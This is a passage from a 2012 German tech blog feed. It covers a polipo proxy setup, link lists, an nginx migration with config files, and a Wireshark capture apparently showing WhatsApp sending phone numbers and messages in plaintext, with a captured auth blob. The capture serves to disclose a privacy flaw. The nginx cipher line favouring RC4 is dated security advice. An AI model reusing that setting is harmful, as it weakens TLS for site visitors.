anonymisierenden Proxy im Klartext zu schicken – und langsam(er) war es auch. Für zwei Tage hatte ich auch mein SheevaPlug als caching web proxy missbraucht, nur machte das in der Verbindung mit Privoxy nicht allzu viel Spaß: über 3 Sekunden für ein Aufruf von <code>spiegel.de</code>.</p> <p>Das primäre Problem mit <span class="caps"><abbr title="Secure Shell">SSH</abbr></span> war das Abbrechen der Verbindung in jedem Fall nach dem Ruhezustand (wenn nicht schon nach 5 Minuten nichts tun, was zumindest mit <code>KeepAlive</code> gehalten werden kann, eine <span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span>-Zwangstrennung überlebt das nicht). Zu spät habe ich von <a href="http://www.harding.motd.ca/autossh/">autossh</a> erfahren und habe stattdessen mit der Äpp <a href="http://www.chipmunkninja.com/Tunneler-0.9---An-SSH-1g@">Tunneler</a> bzw. dessen Nachfolger <a href="http://chipmunkninja.com/Tunneler">TunnelerX</a> (free as in free beer) gespielt, wo letzteres zwar die Ports richtig hinbekommt, nur ersteres aber die SOCKSv5-Verbindung – reconnecten nach dem Schlafen kann es auch&nbsp;nicht.</p> <p>Mit <span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span> ~4500 macht ein Setup mit einem caching web proxy in der Schweiz wenig Sinn, viel cooler wäre ja ein lokaler (oder im <span class="caps">LAN</span>, sofern man im heimischen W-<span class="caps">LAN</span> ist) Proxy der das Pseudo-Scheiß-Caching vom Firefox und Konsorten ausgleicht. Hier ein Tipp unter <span class="caps">OS</span> X: <a href="https://github.com/dustinrue/ControlPlane">ControlPlane</a>, open-source, ist ein Tool, dass verschiedene (Netzwerk-) Einstellungen je nach Abstand des Mondes oder Wifi <span class="caps">SSID</span>/<span class="caps">BSSID</span> aktivieren kann. So kann für das Uni-Netz der heimische Proxy-Server deaktiviert werden und sobald wieder das &#8216;traute Netz da ist&nbsp;aktivieren.</p> <h3>polipo</h3> <p>Warum <a href="http://www.pps.jussieu.fr/~jch/software/polipo/">polipo</a>? Primär, weil es für Einzelbenutzer oder wenige Clients konzipiert ist. Wer die hunderttausend Optionen im <a href="http://www.squid-cache.org/">squid</a> kennt, kann sicherlich auch den nutzen. Polipo gibt&#8217;s im <a href="https://github.com/mxcl/homebrew/">homebrew</a>-Repository, bringt allerdings kein <code>launchd</code>-Skript mit (gibt&#8217;s unten). Da ich meinem MacBook Pro letztens ein <span class="caps">RAM</span>-Upgrade gegeben habe, darf polipo maximal ein halbes Gigabyte <span class="caps">RAM</span> nutzen – und das empfehle ich jedem. Denn polipo ist etwas buggy. Es hat zwar einen Maintainer, aber die Commits halten sich in Grenzen. Wenn ich über <del>vkontakte.ru</del> <a href="http://vk.com/">vk.com</a> einige Songs im <span class="caps">HTML5</span> Player streame, dann gibt es nach neun oder zehn&nbsp;ein</p> <blockquote> <p>Short on chunk memory &#8211; attempting to punch holes in the middle of&nbsp;objects.</p> </blockquote> <p>und das bedeutet nichts gutes, denn es wird mitten im Streaming der Content gelöscht und die Verbindung abgebrochen, da es an <span class="caps">RAM</span> mangelt. YouTube betrifft es ebenso. Aber nichtsdestotrotz sollte man polipo nutzen, denn neben 40 <span class="caps">MB</span>/s Downstream (Firefox&#8217; <span class="caps">XML</span> Parser ist wirklich langsam ;-) bringt polipo auch nützliche Privacy-Optionen&nbsp;mit:</p> <div class="highlight"><pre><span class="c"># censoredHeaders = from, accept-language</span> <span class="n">censorReferer</span> <span class="p">=</span> <span class="n">maybe</span> <span class="n">censoredHeaders</span> <span class="p">=</span> <span class="n">accept</span><span class="o">-</span><span class="n">language</span><span class="p">,</span> <span class="n">from</span> </pre></div> <p>und kann auch direkt einen eigenen <span class="caps">DNS</span>-Server wie <a href="http://thekelleys.org.uk/dnsmasq/doc.html">dnsmasq</a> nutzen (meine Hoffnung war ja, dass polipo&#8217;s <code>proxyOffline = true</code> offline &#8220;Browsen&#8221; bringt, aber die <span class="caps">DNS</span>-Queries werden dennoch ein <em>Fehler: Server nicht gefunden</em>&nbsp;bringen).</p> <h3>~/Library/LaunchAgents/org.posativ.polipo.plist</h3> <div class="highlight"><pre><span class="cp">&lt;?xml version=&quot;1.0&quot; encoding=&quot;<span class="caps">UTF</span>-8&quot;?&gt;</span> <span class="cp">&lt;!<span class="caps">DOCTYPE</span> plist <span class="caps">PUBLIC</span> &quot;-//Apple//<span class="caps">DTD</span> <span class="caps">PLIST</span> 1.0//<span class="caps">EN</span>&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;</span> <span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">&quot;1.0&quot;</span><span class="nt">&gt;</span> <span class="nt">&lt;dict&gt;</span> <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span> <span class="nt">&lt;string&gt;</span>org.posativ.polipo<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span> <span class="nt">&lt;array&gt;</span> <span class="nt">&lt;string&gt;</span>/usr/local/bin/polipo<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;string&gt;</span>-c<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;string&gt;</span>/usr/local/etc/polipo/config<span class="nt">&lt;/string&gt;</span> <span class="nt">&lt;/array&gt;</span> <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span> <span class="nt">&lt;true/&gt;</span> <span class="nt">&lt;/dict&gt;</span> <span class="nt">&lt;/plist&gt;</span> </pre></div> <p>Diese plist generiert mir <a href="http://www.peterborgapps.com/lingon/">Lingon</a> für <code>/usr/local/bin/polipo -c /usr/local/etc/polipo/config</code> und sollte in den genannten Ort kopiert werden, sodass polipo beim Anmelden gestartet wird. Mit <code>launchctl load ~/Library/LaunchAgents/org.posativ.polipo.plist</code> wird der Daemon&nbsp;gestartet.</p> <h3>Adblocking mit&nbsp;adzapper</h3> <p>Privoxy ist für gewöhnlich das Tool der Wahl wenn es um Werbeblocken auf Proxy-Seite geht, aber da es viel <span class="caps">CPU</span>-Leistung verbrät, habe ich mich nach Alternativen umgeschaut. Primär Alternativen, die mit den <a href="https://easylist.adblockplus.org/de/">Easylisten von Adblock</a> kompatibel sind. <a href="http://www.pps.jussieu.fr/~jch/software/polipo/">polipo</a> hat zwar auch ein regex-kompatibles <code>polipo.forbidden</code>-file, aber die verfügbaren <a href="http://rightfootin.blogspot.com/2009/11/ad-blocking-with-polipo.html">adblock2polipo.(py|rb)</a> produzieren inkompatible reguläre Ausdrücke. Ob der Fehler bei der Liste oder polipo liegt, weiß ich nicht. Allerdings bringt polipo ein <em>redirector</em> Feature mit. Das zwischen ein Perl-Programm wie z.B. <a href="http://adzapper.sourceforge.net/">adzapper</a> <span class="caps">HTTP</span> (ohne S) und filtert anhand einiger regulären&nbsp;Ausdrücke:</p> <div class="highlight"><pre>wget http://adzapper.sourceforge.net/scripts/squid_redirect -O /usr/local/bin/adzapper <span class="nb">echo</span> <span class="s2">&quot;redirector = /usr/local/bin/adzapper&quot;</span> &gt;&gt; /usr/local/etc/polipo/config launchctl unload ~/Library/LaunchAgents/org.posativ.polipo.plist launchctl load ~/Library/LaunchAgents/org.posativ.polipo.plist </pre></div> <p>Alternativ ginge auch eine <code>forward /</code>-Direktive zu beispielsweise <a href="http://bfilter.sourceforge.net/index.php">bfilter</a> mit aktivem&nbsp;Adblock-Support.</p> Sun, 29 Jan 2012 19:21:00 GMT tag:blog.posativ.org,2012-01-29:/2012/polipo-a-caching-web-proxy Linkschleuder #14 http://blog.posativ.org/2012/linkschleuder-14/ <ul> <li><a href="http://www.keylength.com/en/compare/">Cryptographic Key Length Recommendation</a> – im Seminar aufgeschnappt; empfohlene Schlüssellängen einiger&nbsp;Behörden.</li> <li><a href="https://bitbucket.org/aykevl93/weaveclient-chromium-continued/overview">weaveclient-chromium-continued</a> – nicht getestet, aber wäre cool, wenn das&nbsp;funktioniert.</li> <li><a href="http://projects.puppetlabs.com/projects/puppet">puppet</a> – automatisiertes Einrichten eines *nix-Systems mit einer Ruby-<span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span>.<br /> „Puppet, an automated administrative engine for your *nix systems, performs administrative tasks (such as adding users, installing packages, and updating server configurations) based on a centralized&nbsp;specification.“</li> <li><a href="http://manpages.ubuntu.com/manpages/dapper/de/man8/start-stop-daemon.8.html"><code>start-stop-daemon</code></a> – ein Debian/Ubuntu-Tool, um das Schreiben von eigenen Dämonen deutlich zu erleichten (<a href="https://gist.github.com/6eec44bde70b8405ce73">Beispiel</a>).</li> <li><a href="https://github.com/visionmedia/watch">Watch</a> – A tiny C program used to periodically execute a command. (via <a href="http://thechangelog.com/post/14041353400/watch-simple-periodical-execution-utility-in-c">The Changelog</a>)</li> <li><a href="http://dcrypt.it/">dcrypt.it</a> – <span class="caps"><abbr title="Download Link Container">DLC</abbr></span> Entschlüsselung mit ein paar mehr Input-Methoden als <a href="http://posativ.org/decrypt/">mein Angebot</a>.</li> <li><a href="http://www.pps.jussieu.fr/~jch/software/polipo/">Polipo</a> – a small and fast caching web proxy. Sowas wie <a href="http://www.squid-cache.org/">squid</a>, aber eher für Single-User/Home-Betrieb gedacht. Werd&#8217; ich mir mal näher&nbsp;anschauen.</li> <li><a href="http://ettercap.sourceforge.net/index.php">ettercap</a> – eine Suite für Man-in-the-Middle Angriffe im&nbsp;<span class="caps">LAN</span>.</li> </ul> Fri, 20 Jan 2012 09:43:00 GMT tag:blog.posativ.org,2012-01-20:/2012/linkschleuder-14 WhatsApp Privacy Policy: Verschlüsselung im Transportmedium. http://blog.posativ.org/2012/whatsapp-privacy-policy-verschluesselung-im-transportmedium/ <p><a href="http://www.whatsapp.com/">WhatsApp</a> kennt sicherlich jeder Smartphone-Nutzer. Hat über <a href="http://blog.whatsapp.com/index.php/2012/01/1-million-is-so-2011/">zwei Millionen</a> aktive Nutzer zu jeder Stunde und ist für jede mobile Plattform verfügbar, leider nur nicht für den Desktop. Das lässt sich ja vielleicht ändern, dachte ich mir und schmiss <a href="https://wireshark.org/">WireShark</a>&nbsp;an:</p> <div class="highlight"><pre>WA............Android-2.7.431.........~.......Z*.....8..........~._......Xbm9uY2 U9IjE4ODAwNzM1MDU3OS IscW9wPSJhdXRoIixjaGFyc2V0PXV0Zi04LGFsZ29yaXRobT1tZDUtc2Vzc w==.........cmVhbG09InMud2hhdHNhcHAubmV0IixyZXNwb25zZT0yZTY4M2U0YjlhNTA2ODdhMmN mODA3NDQ1MTMxODM3Yyxub25jZT0iMTg4MDA3MzUwNTc5IixkaWdlc3QtdXJpP SJ4bXBwL3Mud2hhdH NhcHAubmV0Iixjbm9uY2U9IjFtOWRzdGM2NzY1ZHQiLHFvcD1hdXRoLHVzZXJuYW1lPSI0OTE2MzYzMT A2MTMiLG5jPTAwMDAwMDAx.#.......Rj#.13050253130. 1620558113....t8..+......t..a.. Ich....HC..:....{.M....Ua$....HC..2.:..........,..H8...491896312624.C../..../... 404......J......H8.C..2.........s&lt;C..APA91bHEmfHjKPpBwu3MJLCOtK4hFMwe0ZWHdXimFDr1 pxIa18rznmbZ6FLB-7pFMVwX0GJiVPcUWCaAvnwTR0O_LVfEENMr--GtpzSy2FbWtq1IKSOG9_Z0N6Kz LlIit9JaKaui47VY....t......491521283131..!..HC..3.:....491521283131.....{.L.)..H8 ...491721883139.C..3......{.L...16990....t.....4914682512635..&quot;..HC..4.:... 4914682512635.....{.L.+..H8..4915152523662.C..4......{.L...128494....t......t8.. .491896312624. </pre></div> <p>Sieht ziemlich unleserlich aus. Die ersten zwei Bytes beginnen wohl das interne <span class="caps"><abbr title="Extensible Messaging and Presence Protocol">XMPP</abbr></span>-Protokoll, WhatsApp-Version und dann&#8230; äh ja. Dann sind da meine Telefonnummer, Name, Ziel-Nummer (+ deren Zweitnummer und Geburtsdatum) der&nbsp;Gesprächspartnerin.</p> <ul> <li>Version: <em>Android-2.7.431</em></li> <li>meine Nummer: <em>491896312624</em></li> <li>Zielnummer: <em>4914682512635</em></li> <li>Zweit-Nummer: <em>4915152523662</em></li> <li>Geburtsdatum: <em>16990</em></li> </ul> <p>Wohlgemerkt ist das ein Dump, wenn ich die App einfach öffne. Wenn Text kommt, dann ist da etwas weniger (Nachricht: Ich doch nicht&nbsp;xD).</p> <div class="highlight"><pre>.F..]....4914682512635...C..316008602-1......O..........Ich doch nicht xD.@..]8 ...4914682512635.C..316008602-1........O....C..316008602-1... </pre></div> <p>Ich war etwas erstaunt. WhatsApp verschlüsselt &#8211; aber nur das eigene Protokoll, was mit den Nutzerdaten passiert, ist ihnen egal. Ich kann mir keine Erklärung dafür geben. Rechenleistung geht ja eh schon drauf, indem das Protokoll verschlüsselt wird, warum also nicht gleich noch den Rest verschlüsseln? Hauptsache keiner entwickelt einen Desktop-Clienten außerhalb ihres&nbsp;Einflussbereiches!11</p> <p>Im öffentlichen Hotspot sind die Daten für jedermann lesbar, für verschlüsseltes <span class="caps">WLAN</span> kann der Beitreber <code>ngrep</code>-en und dass <span class="caps">GMS</span>/<span class="caps"><abbr title="Universal Mobile Telecommunications System">UMTS</abbr></span> nicht mehr sicher ist, weiß man spätestens nach dem <a href="http://www.spiegel.de/netzwelt/netzpolitik/0,1518,776465,00.html">Skandal in Dresden</a>. Das Problem ist auch <a href="http://rickey-g.blogspot.com/2011/05/whatsapp-connection-details.html">nicht</a> <a href="http://shakal.blog.de/2011/03/22/whatsapp-risiken-10872342/">unbekannt</a>, nur hat es noch keiner genug reverse&nbsp;engineered.</p> <p><em><span class="caps">PS</span>: alle personenbezogenen Informationen sind&nbsp;anonymisiert.</em></p> Sun, 15 Jan 2012 22:43:00 GMT tag:blog.posativ.org,2012-01-15:/2012/whatsapp-privacy-policy-verschluesselung-im-transportmedium Linkschleuder #13 http://blog.posativ.org/2012/linkschleuder-13/ <ul> <li><a href="http://tapirgo.com/">Tapir</a> – eine Alternative zu <a href="https://www.google.com/cse/">Google Custom Search</a>, sprich eine externe Suche für statische Seiten mit&nbsp;Atom-Feed-Input.</li> <li><a href="http://readthedocs.org/">Read the Docs</a> – ein <a href="http://sphinx.pocoo.org/">Sphinx</a>-Dokumentationen-Hoster, der auch auf eigene Domains serviert. <a href="http://readthedocs.org/docs/read-the-docs/en/latest/getting_started.html">Hier geht&#8217;s&nbsp;los</a>.</li> <li><a href="http://packages.python.org/an_example_pypi_project/sphinx.html">Einführung in Sphinx</a> – nicht offiziell, aber sehr hilfreich für den ersten&nbsp;Schritt.</li> <li><a href="https://github.com/kennethreitz/envoy">Envoy: Python Subprocesses for Humans.</a> – und das hat Python bitter&nbsp;nötig!</li> <li><a href="http://excess.org/article/2011/12/unfortunate-python/">Unfortunate Python</a> – auch Python ist nicht perfekt in seiner&nbsp;Implementierung.</li> <li><a href="http://nadiana.com/python-pickle-insecure">Why Python Pickle is insecure</a> and <a href="http://blog.nelhage.com/2011/03/exploiting-pickle/">Exploiting&nbsp;Pickle</a></li> <li><a href="http://rsslounge.aditu.de/">rsslounge</a> – web-basierter <span class="caps">RSS</span> Aggregator mit <span class="caps">PHP</span> und MySQL. Ganz nett, aber noch etwas bugbelastet. Drei meiner 40 Feeds (<span class="caps">OPML</span> Import) konnte er nicht laden und ist nun nicht mehr nutzbar. <a href="https://code.google.com/p/rsslounge/">Google&nbsp;Code</a></li> <li><a href="http://www.adminer.org/">Adminer</a> – Datenbank-Verwaltung (MySQL, SQLite, etc.) in einer einzigen <span class="caps">PHP</span>-Datei. Angenehm im Vergleich zu <code>mysql-client</code>.</li> <li><a href="https://github.com/satyr/coco">Coco</a> – is a CoffeeScript dialect that aims to be more radical and&nbsp;practical.</li> </ul> Thu, 12 Jan 2012 12:27:00 GMT tag:blog.posativ.org,2012-01-12:/2012/linkschleuder-13 Linkschleuder #12 http://blog.posativ.org/2012/linkschleuder-12/ <p>Es wird leider auch nicht&nbsp;weniger:</p> <ul> <li><a href="http://maps3d.svc.nokia.com/webgl/">Nokias Google Maps Fork</a> – ohne Flash, sondern in WebGL. Sehr performant und echt beeindruckende&nbsp;Qualität.</li> <li><a href="http://airdroid.com/">Wireless Android Management</a> – ein sehr hübsches Webinterface auf Knopfdruck. So lassen sich bsw. <span class="caps">SMS</span> im Browser&nbsp;schreiben.</li> <li><a href="http://torcloudservers.com/">Tor bridges in the Amazon cloud</a> – vorgefertigte Tor-Images für Amazons <span class="caps">EC2</span>, <del>ab 3$/Monat für gut 15 <span class="caps">GB</span> Traffic</del> ersten 15 <span class="caps">GB</span> Traffic sind kostenfrei, bei maximal 40 GiB kann das bis zu 3$/Monat&nbsp;kosten.</li> <li><a href="http://johnmacfarlane.net/pandoc/">Pandoc</a> – a universal document&nbsp;converter.</li> <li><a href="http://www.dehats.com/drupal/?q=node/58">Lita</a> – SQLite Administration Tool (mittels Adobe Air) ohne Error-Handling. Aber&nbsp;hübsch.</li> <li><a href="https://github.com/tthibo/SQL-Tutorial"><span class="caps"><abbr title="Structured Query Language">SQL</abbr></span> Tutorial using SQLite</a> und <a href="http://www.sqlite.org/syntaxdiagrams.html">Syntax-Diagramme</a> haben mir bei der Entwicklung von <a href="https://github.com/posativ/weave-minimal/">weave-minimal</a> sehr&nbsp;geholfen!</li> <li><a href="http://www.sublimetext.com/">Sublime Text 2</a> – auch wenn ich&#8217;s schon erwähnt hatte. Der Texteditor ist derzeit das nonplusultra. Es macht so viel Spaß damit zu&nbsp;arbeiten.</li> <li><a href="https://github.com/vesln/issues">GitHub Issue</a> – ein <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span> Programm für GitHub&#8217;s Issues (wer hätte das gedacht) in&nbsp;Node.js.</li> </ul> Mon, 09 Jan 2012 13:56:00 GMT tag:blog.posativ.org,2012-01-09:/2012/linkschleuder-12 nginx http://blog.posativ.org/2012/nginx/ <p>Seit heute rennt das Blog unter <a href="http://nginx.org/">nginx</a>. Der Grund ist einfach: <a href="http://www.lighttpd.net/">lighttpd</a> ist behindert zu konfigurieren, hat keine aktuellen/coolen Features und ist zudem noch langsamer als nginx. Ich hoffte seit knapp einem Jahr, dass sich in der Entwicklung was tut, aber außer einer Beta-Version mit integriertem <a href="http://redmine.lighttpd.net/wiki/1/AbsoLUAtion">lua</a>-Support (um überhaupt ein <a href="http://redmine.lighttpd.net/wiki/1/Docs:Configuration#Conditional-Configuration">if-else</a> statt if-else-if konfigurieren zu können) und zahlreichen <em><a href="http://blog.posativ.org/2011/lighttpd-git-grack-http-417/">Won&#8217;t</a> <a href="http://redmine.lighttpd.net/issues/1532">fixes</a></em> für 1.4.x hat sich leider rein gar nichts&nbsp;getan.</p> <p>Warum <a href="http://nginx.org/">nginx</a>? Ja, das weiß ich auch nicht, aber die <a href="https://en.wikipedia.org/wiki/Comparison_of_lightweight_web_servers">Alternativen</a> zu non-Apache mit geringem Memory-Footprint, vielen Features und opensource sehen schlecht aus. <a href="https://en.wikipedia.org/wiki/Thttpd">thttpd</a> hat kein <code>mod_proxy</code>, <a href="http://www.cherokee-project.com/">Cherokee</a> bringt gleich ein Web-<span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> zur Administration mit und <a href="http://www.litespeedtech.com/overview.html">LiteSpeed Web Server</a> ist nicht quell-offen. Also, was sind die Features von&nbsp;nginx?</p> <ul> <li>schnell und&nbsp;leichtgewichtig</li> <li>logische Konfiguration (was ich schon für behinderte Logik-Krämpfe mit lighttpd&nbsp;hatte&#8230;)</li> <li>mod_proxy, mod_fastcgi, expires, <a href="https://en.wikipedia.org/wiki/PCRE"><span class="caps">PCRE</span></a></li> </ul> <h3>Moving from lighttpd to&nbsp;nginx</h3> <p>Die Umstellung von lighttpd nach nginx ist nicht ganz ohne. Prinzipiell ist alles anders und nginx hat keine Unterstützung für <span class="caps"><abbr title="Common Gateway Interface">CGI</abbr></span> und rewrite-Regeln auf Query-Parametern. Außerdem spawnt nginx nicht automatisch einen <span class="caps">PHP</span>-Prozess für FastCGI und erlaubt keine <span class="caps">POST</span>-Requests auf statische Seiten &#8211; aber das lässt sich&nbsp;umgehen.</p> <h4>1. Präambel -&nbsp;/etc/nginx/nginx.conf</h4> <div class="highlight"><pre><span class="k">user</span> <span class="s">www-data</span><span class="p">;</span> <span class="k">worker_processes</span> <span class="mi">2</span><span class="p">;</span> <span class="k">error_log</span> <span class="s">/var/log/nginx/error.log</span><span class="p">;</span> <span class="k">pid</span> <span class="s">/var/run/nginx.pid</span><span class="p">;</span> <span class="k">events</span> <span class="p">{</span> <span class="kn">worker_connections</span> <span class="mi">2048</span><span class="p">;</span> <span class="p">}</span> <span class="k">http</span> <span class="p">{</span> <span class="kn">include</span> <span class="s">/etc/nginx/mime.types</span><span class="p">;</span> <span class="c1">#access_log /var/log/nginx/access.log;</span> <span class="c1"># cbc-mode ciphers might be vulnerable (<span class="caps">BEAST</span>)</span> <span class="kn">ssl_ciphers</span> <span class="s"><span class="caps">RC4</span>:<span class="caps">HIGH</span>:!aNULL:!<span class="caps">MD5</span></span><span class="p">;</span> <span class="kn">ssl_prefer_server_ciphers</span> <span class="no">on</span><span class="p">;</span> <span class="kn">sendfile</span> <span class="no">on</span><span class="p">;</span> <span class="kn">keepalive_timeout</span> <span class="mi">65</span><span class="p">;</span> <span class="kn">tcp_nodelay</span> <span class="no">on</span><span class="p">;</span> <span class="kn">gzip</span> <span class="no">on</span><span class="p">;</span> <span class="kn">gzip_disable</span> <span class="s">&quot;<span class="caps">MSIE</span></span> <span class="s">[1-6]\.(?!.*<span class="caps">SV1</span>)&quot;</span><span class="p">;</span> <span class="kn">index</span> <span class="s">index.php</span> <span class="s">index.htm</span> <span class="s">index.html</span><span class="p">;</span> <span class="kn">include</span> <span class="s">/etc/nginx/conf.d/*.conf</span><span class="p">;</span> </pre></div> <h4>2. vhosts -&nbsp;/etc/nginx/conf.d/posativ.org.conf</h4> <div class="highlight"><pre><span class="k">server</span> <span class="p">{</span> <span class="kn">listen</span> <span class="mi">80</span><span class="p">;</span> <span class="kn">server_name</span> <span class="s">posativ.org</span><span class="p">;</span> <span class="kn">root</span> <span class="s">/home/www/posativ.org</span><span class="p">;</span> <span class="kn">location</span> <span class="s">^~</span> <span class="s">/blog</span> <span class="p">{</span> <span class="kn">include</span> <span class="s">conf.d/pyblosxom.redirect</span><span class="p">;</span> <span class="p">}</span> <span class="kn">location</span> <span class="p">~</span> <span class="sr">^/(redmine|git)/</span> <span class="p">{</span> <span class="kn">rewrite</span> <span class="s">^/(.*)</span>$ <span class="s">https://posativ.org/</span><span class="nv">$1</span> <span class="s">redirect</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <p>Selbsterklärend. Nicht mehr und nicht weniger will ich konfigurieren. Statt im lighty irgendwelche obskuren Redirects auf Sockets != 443 zu kreieren, gibt es hier ganz klar das Konzept „ich lausche auf diesen Ports mit folgenden&nbsp;Einstellungen”.</p> <h4>3.&nbsp;<span class="caps">SSL</span></h4> <p>In der Präambel lässt sich zudem noch die verwendete Cipher wählen und so ein Angriff mittels <span class="caps">BEAST</span>&nbsp;verhindern.</p> <div class="highlight"><pre><span class="k">server</span> <span class="p">{</span> <span class="kn">listen</span> <span class="mi">443</span><span class="p">;</span> <span class="kn">server_name</span> <span class="s">posativ.org</span><span class="p">;</span> <span class="kn">root</span> <span class="s">/home/www/posativ.org</span><span class="p">;</span> <span class="kn">ssl</span> <span class="no">on</span><span class="p">;</span> <span class="kn">ssl_certificate</span> <span class="s">certs/posativ.org.crt</span><span class="p">;</span> <span class="kn">ssl_certificate_key</span> <span class="s">certs/posativ.org.key</span><span class="p">;</span> <span class="kn">location</span> <span class="s">^~</span> <span class="s">/redmine</span> <span class="p">{</span> <span class="kn">proxy_pass</span> <span class="s">http://127.0.0.1:3001</span><span class="p">;</span> <span class="p">}</span> <span class="kn">location</span> <span class="s">^~</span> <span class="s">/git</span> <span class="p">{</span> <span class="kn">proxy_pass</span> <span class="s">http://127.0.0.1:7654</span><span class="p">;</span> <span class="p">}</span> <span class="c1"># ...</span> <span class="p">}</span> </pre></div> <h4>5. rewrite&nbsp;rules</h4> <p>Das war zunächst das größte Problem. Ich pflege Rückwärtskompatibilität zwischen meinen (inzwischen vier) Blogs mit unterschiedlicher Software und Permalinks. Einfach sind <span class="caps"><abbr title="Uniform Resource Indicator">URI</abbr></span> -&gt; <span class="caps"><abbr title="Uniform Resource Indicator">URI</abbr></span>&nbsp;rewrites-Rules:</p> <div class="highlight"><pre> <span class="c1"># lighttpd</span> <span class="k">url.redirect</span> <span class="o">+=</span> <span class="p">(</span><span class="s2">&quot;/blog/?$&quot;</span> <span class="o">=&gt;</span> <span class="s2">&quot;https://blog.posativ.org/&quot;</span><span class="p">,</span> <span class="k">...</span><span class="p">)</span> </pre></div> <p>&nbsp;</p> <div class="highlight"><pre> <span class="c1"># nginx</span> <span class="k">rewrite</span> <span class="s">&quot;^/blog/?</span><span class="nv">$&quot;</span> <span class="s">&quot;http://blog.posativ.org/&quot;</span> <span class="s">permanent</span><span class="p">;</span> <span class="k">...</span> </pre></div> <p>Mit <code>perl -pe "s/\"(.+)\" =&gt; \"(.+)\",/rewrite \"\^\1\" \"\2\" permanent;/g"</code> hatte ich das grob von lighttpd auf nginx übertragen. Problem: nginx kann kein rewrite auf die Request-Parameter (zurecht aber auch). Das sollte nicht nur mich mit meinen anfänglichen <code>/?p=1dcdd17</code> stören, auch diverse <a href="http://frank.geekheim.de/">andere Blogs</a> haben dieses <span class="caps">URL</span>-Schema. Warum das nicht direkt von den rewrite-Regeln unterstützt wird, ist klar: die Query-Parameterreihenfolge ist variabel. Aber es ist nginx und da geht alles (wenn auch mit erhöhtem&nbsp;Rechenaufwand):</p> <div class="highlight"><pre><span class="k">location</span> <span class="p">=</span> <span class="s">/</span> <span class="p">{</span> <span class="c1"># das `?` am Ende leitet die <span class="caps">GET</span>-Request Paramter nicht weiter</span> <span class="kn">if</span> <span class="s">(</span><span class="nv">$arg_p</span> <span class="p">=</span> <span class="s">1dcdd17)</span> <span class="p">{</span> <span class="kn">rewrite</span> <span class="s">^</span> <span class="s">http://blog.posativ.org/2011/weitere-html-abstraktion-in-python/?</span> <span class="s">permanent</span><span class="p">;</span> <span class="c1"># ...</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <h4>6. weitere&nbsp;Eigenheiten</h4> <ul> <li> <p>nginx erlaubt kein <span class="caps">POST</span>/<span class="caps">PUT</span> auf statisches <span class="caps">HTML</span>, denn sonst wäre es ja <span class="caps"><abbr title="Common Gateway Interface">CGI</abbr></span> (was aber auch nicht geht, dazu gleich mehr). Aber auch dafür gibt es die merkwürdigsten Workarounds (<span class="caps">POST</span> auf statisches <span class="caps">HTML</span> wirft&nbsp;405):</p> <div class="highlight"><pre><span class="k">error_page</span> <span class="mi">405</span> <span class="p">=</span> <span class="s">@405</span><span class="p">;</span> <span class="k">location</span> <span class="p">=</span> <span class="s">@405</span> <span class="p">{</span> <span class="kn">root</span> <span class="s">/home/www/blog.posativ.org</span><span class="p">;</span> <span class="p">}</span> </pre></div> </li> <li> <p><span class="caps"><abbr title="Common Gateway Interface">CGI</abbr></span> wird auch nicht unterstützt, denn es ist langsam und erfordert viel Verwaltungs-Logik. Das macht bsw. lighttpd speicherhungriger als Apache (!), wenn Google mal ein <span class="caps"><abbr title="Common Gateway Interface">CGI</abbr></span>-hosted Mercurial-Webinterface crawlt. Statt <span class="caps"><abbr title="Common Gateway Interface">CGI</abbr></span> sollte FastCGI oder Proxy-Magie genutzt werden. Für <span class="caps">PHP</span> spawnt nginx keinen Prozess, der muss vorher auch angelegt werden. Für Debian gibt es dafür ein <a href="http://wiki.nginx.org/PHPFcgiExample#Spawning_a_FastCGI_Process"><code>init.d</code>-Skript</a> und nach einem <code>invoke.rc-d start php-fcgi</code> lauscht ein <span class="caps">PHP</span>-Prozess auf Port&nbsp;9000.</p> </li> </ul> <h3>Rückblick</h3> <p><a href="http://www.lighttpd.net/">lighttpd</a> war zwei Jahre mein treuer Begleiter im Kampf gegen Apaches behinderte <span class="caps">XML</span>-like Konfiguration mit kleinem Speicherverbrauch, aber die Konfiguration ist inzwischen mehr als willkürlich. Schon eine Umordnung von Statements, die logisch gleichwertig sind, kann das Problem lösen oder erst&nbsp;erzeugen.</p> <p>Die nginx Konfiguration ist weitaus intuitiver, besitzt mehr Funktionialität und trotzdem ist der Server schlanker, <a href="http://wiki.nginx.org/Modules">modularer</a> und leistungsfähiger als&nbsp;lighttpd.</p> <p><span class="caps">KTHXBYE</span>&nbsp;lighttpd.</p> Sat, 07 Jan 2012 21:03:00 GMT tag:blog.posativ.org,2012-01-07:/2012/nginx Linkschleuder #11 http://blog.posativ.org/2012/linkschleuder-11/ <p>Diesmal stark apfel-lastig; zwei zu <a href="https://twitter.com/">Twitter</a>, Rest zu <span class="caps">OS</span>&nbsp;X.</p> <ul> <li><a href="https://github.com/jgoerzen/twidge/wiki">twidge</a> – full commandline twitter client (in Haskell&nbsp;geschrieben)</li> <li><a href="http://onilabs.github.com/fork-a-twitter-client/">Fork A Twitter Client</a> – Twitter komplett im Browser (wie twitter.com), jedoch in&nbsp;schlank.</li> <li><a href="https://github.com/kennethreitz/osx-gcc-installer"><span class="caps">OSX</span> <span class="caps">GCC</span> Installer</a> – <span class="caps">GCC</span>-related Tools in XCode. Erspart nächstes mal vielleicht den 4,7 GiB&nbsp;Download.</li> <li><a href="https://github.com/pdherbemont/Glasses/"><span class="caps">VLC</span> <span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> rewrite</a> – für <span class="caps">OS</span> X, ist leider eingeschlafen, weil es sehr wenige <span class="caps">OS</span> X Entwickler&nbsp;gibt.</li> <li><a href="http://khiltd.com/software/consultants_canary">Consultant’s Canary</a> – Diff zwischen <span 